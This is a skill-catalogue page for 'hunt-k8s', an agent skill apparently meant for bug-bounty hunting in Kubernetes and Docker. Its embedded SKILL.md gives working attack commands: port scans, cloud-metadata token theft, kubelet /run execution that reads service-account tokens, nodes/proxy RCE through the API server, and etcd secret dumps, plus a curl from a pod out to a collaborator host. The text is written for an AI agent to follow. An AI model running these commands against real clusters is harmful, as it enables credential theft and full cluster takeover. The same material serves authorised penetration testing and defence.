SkillAgentSearch skills...

hunt-k8s

Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-serve…

Install / Use

npx skills add elementalsouls/Claude-BugHunter --skill hunt-k8s

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

96/100

Category

Security

Supported Platforms

Zed

Our assessment of hunt-k8s

hunt-k8s scores 96/100 on our quality scale, 144th of 772 Security skills we index (top 19%).

Its SKILL.md is 20 KB long, well organised into 60 sections with 9 code examples: a thorough specification that gives an agent plenty to work with.

With 4,669 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
30/30
Structure
20/20
Description
15/15
Adoption
16/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 2 days ago, so hunt-k8s is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

hunt-k8s compared with similar skills

All 4 of these similar skills score higher than hunt-k8s; compare them before choosing.

SkillScoreStarsUpdatedFormat
hunt-k8s (this skill)by elementalsouls964.7k2d agoSKILL.md
Agent-Reachby Panniantong10085.9k12d agoCLAUDE.md
headroomby headroomlabs-ai10074.0k1d agoCLAUDE.md
crawl4aiby unclecode10084.4k3d agoMCP Server
Scraplingby D4Vinci10084.2ktodayMCP Server

Frequently asked questions

How do I install hunt-k8s?
Run npx skills add elementalsouls/Claude-BugHunter --skill hunt-k8s. The install tabs above show the steps for each supported agent.
Which AI agents does hunt-k8s work with?
It is written for Zed, as a SKILL.md file. Other agents that read the same format can often use it too.
Is hunt-k8s safe to use?
It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is hunt-k8s still maintained?
The repository was last updated 2 days ago, so hunt-k8s is actively maintained.

name: hunt-k8s description: "Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts." sources: hackerone_public, cve_database, kubernetes_security_research, portswigger_research report_count: 13

HUNT-K8S — Kubernetes & Docker Security

Crown Jewel Targets

K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet /run shell pivots one finding to total compromise.

Highest-value findings:

  • K8s API anonymous cluster-admin — system:anonymous/system:unauthenticated bound to a powerful role (classic misconfig: system:anonymous in a ClusterRoleBinding to cluster-admin) → full kubectl. Mere anonymous 200 is NOT this (see false-positive section).
  • Kubelet 10250 exec/run — /run returns command output directly; /exec is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.
  • API-server-mediated kubelet RCE — /api/v1/nodes/<node>/proxy/run/... reaches the kubelet through the API server using your (low-priv) token; if RBAC grants nodes/proxy, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.
  • etcd 2379 unauth — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless EncryptionConfiguration is set) → full credential dump.
  • docker.sock exposure — SSRF/LFI/RCE reaching /var/run/docker.sock → create --privileged container, bind-mount host / → host root.
  • Container escape via runc — Leaky Vessels (CVE-2024-21626): WORKDIR/process.cwd pointing at a leaked /proc/self/fd/<n> host FD → break out of an attacker-controlled image/exec to host root.
  • SA token abuse — auto-mounted token at /var/run/secrets/kubernetes.io/serviceaccount/token; check its real grants with SelfSubjectRulesReview before claiming impact.
  • K8s Dashboard skip-login / token-less API — full cluster management UI reachable unauthenticated.

OOB / Confirmation Gate (Read First)

K8s findings are RCE/credential-disclosure class. House rule: prove state change or data read, never infer from a status code.

  • A 200 on /api/v1/namespaces does not mean cluster-admin. The API server returns 200 with an RBAC-filtered (often empty items: []) list to any principal that can reach list namespaces — anonymous read on a few resources is common and low-impact. Confirm real privilege with SelfSubjectRulesReview / SelfSubjectAccessReview, then by actually reading a Secret value.
  • 10255 (read-only) vs 10250 (exec) are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has /pods, /stats, /metrics, NO exec/run. 10250 (HTTPS) is where /run and /exec live. Do not report "kubelet RCE" off a 10255 hit.
  • Blind/outbound vectors need OOB. If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. curl http://<token>.<collab> from inside the pod via /run). A delayed response or an echoed URL is NOT proof.
  • Impact proof = the artifact. For exec: the literal id/hostname output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (/etc/hostname of the node, distinct from the container's).
  • Use a dedicated test namespace / test pod when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only id in a pod you spun up if policy allows, or limit to a single non-destructive id and stop.

Phase 1 — Fingerprint & Port Discovery

# Common Kubernetes / container ports
PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010"
nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open

# API server fingerprint — the /version endpoint is anonymous on most clusters
curl -sk "https://$TARGET:6443/version"        # {"major":"1","minor":"29","gitVersion":"v1.29.x"...}
curl -sk "https://$TARGET:6443/api"             # APIVersions list, even pre-auth
curl -sk "https://$TARGET:6443/healthz"

# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1)
TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2
curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true"      # Azure AKS
curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE

Note the gitVersion — it gates every CVE below.


Phase 2 — Kubernetes API Anonymous / Low-Priv Access

SRV="https://$TARGET:6443"

# 1. What am I? (anonymous → "system:anonymous")
curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}'

# 2. What can I actually DO? (the only honest privilege check)
curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \
  -H 'Content-Type: application/json' \
  -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}'

# 3. Targeted access check for the crown-jewel verbs
for R in secrets pods nodes/proxy pods/exec; do
  curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \
   -H 'Content-Type: application/json' \
   -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \
   | grep -o '"allowed":[a-z]*' | sed "s#^#$R #"
done

# 4. Only if access review says allowed — read a real Secret to prove impact
curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")'
# decode one value (redact before reporting):
# echo '<base64>' | base64 -d

CVE-2018-1002105 (gitVersion < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint gitVersion in Phase 1; if vulnerable this is the single highest-impact finding.


Phase 3 — Kubelet (Port 10250) — /run First, /exec Done Right

The earlier version of this skill sent /exec as a plain POST and expected id output back. That is wrong. /exec is a SPDY/WebSocket streaming endpoint: a plain POST returns a 302 redirect to a stream location (e.g. /cri/exec/<token>) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.

SRV="https://$TARGET:10250"

# Enumerate pods (auth varies; many kubelets allow anonymous read here)
curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \
  | grep -E '"namespace"|"name"|"containerName"' | head -40

NS=default; POD=target-pod; CTR=app

# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---
# This is the simple correct primitive. Use this first.
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id"
curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---
# Option 1: kubeletctl handles the stream transport for you (recommended)
#   kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS
#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod
# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then
#   read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:
#   curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0"   # shows 302 Location
#   websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>"

# Container logs (read-only, no stream)
curl -sk "$SRV/containerLogs/$NS/$POD/$CTR"

# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE".
curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head
curl -s "http://$TARGET:10255/metrics" | head

CVE-2020-8558 (host-network trust): on affected kube-proxy, services bound to the node's 127.0.0.1 (incl. the read-only kubelet and other localhost-only services) become reachable from other pods/adjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet/etcd that were assumed loopback-only.


Phase 4 — API-Server-Mediated Kubelet RCE (nodes/proxy)

When 10250 is firewalled but you hold a token (even a low-priv pod SA) with nodes/proxy, route exec through the API server:

SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\""
NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4)

# /run via the node proxy → output comes straight back
curl -sk -X POST -H "Authorization: Bearer $TOKEN" \
  "$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id"

# enumerate every pod on a node via the proxy
curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods"

nodes/proxy in any bound role is effectively node-wide RCE. CVE-2022-3294 (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host/IP it could reach (proxy-to-internal SSRF / node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.


Phase 4b — Ingress-NGINX "IngressNightmare" (CVE-2025-1974)

An unauthenticated attacker who can reach the ingress-nginx admission controller (:8443, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted AdmissionReview for an Ingress object -> RCE in the controller pod, whose service account is powerful -> full cluster compromise. Fingerprint controller version (/healthz, pod image tag) and map to <1.11.5 / <1.12.1. (CVE-2025-1974 with CVE-2025-1097/1098/24513/24514.)

Phase 5 — etcd Unauth (Port 2379)

# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50
ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \
  get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40

# HTTP/JSON gateway (key/range are base64; "Lw==" == "/")
curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \
  -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool

# v2 (older clusters)
curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head

A recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. False positive: a 200 from etcd peer port 2380 or a TLS-required port returning a handshake error is not unauth client access — only

Truncated for display — read the full file on GitHub.

Related Skills

View on GitHub
GitHub Stars4.7k
CategorySecurity
Updated2d ago
Forks704

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions